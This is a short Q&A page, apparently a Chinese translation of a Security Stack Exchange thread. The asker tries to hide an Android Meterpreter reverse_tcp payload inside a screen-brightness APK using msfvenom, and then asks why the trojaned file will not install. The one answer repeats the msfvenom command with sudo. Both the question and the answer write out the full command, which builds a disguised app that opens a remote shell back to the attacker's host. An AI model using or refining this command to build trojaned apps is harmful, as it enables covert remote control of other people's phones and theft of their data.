我想将有效负载嵌入到apk文件中。我试着用msfvenom -x ScreenBrightness.apk -p android/meterpreter/reverse_tcp LHOST=<my_ip> LPORT=4444 R > output.apk
这是输出:
Using APK template: ScreenBrightness.apk [-] No platform was selected, choosing Msf::Module::Platform::Android from the payload [-] No arch selected, selecting arch: dalvik from the payload Error: Malformed version number string 2.4.0-dirty /usr/bin/apktool: line 27: mkdir: command not found /usr/bin/apktool: line 28: ln: command not found
然后我检查了目录,发现有一个名为output.apk的文件。
我试着在我的安卓系统上安装output.apk,App not Installed说。我试过好几次了,但结果就是这样。
因此,我尝试使用adb命令output.apk安装adb install output.apk。
这仍然是输出:
Failure [INSTALL_FAILED_INVALID_APK]
我正在使用Linux:Parrot GNU/Linux,我的android: Android6.0.1 (Marshmello)
如何正确地将有效负载嵌入到apk文件?
提前谢谢。
发布于 2020-07-03 05:05:38
用sudo试试,就像:
sudo msfvenom -x ScreenBrightness.apk -p android/meterpreter/reverse_tcp LHOST=<my_ip> LPORT=4444 R > output.apkhttps://security.stackexchange.com/questions/230003
复制相似问题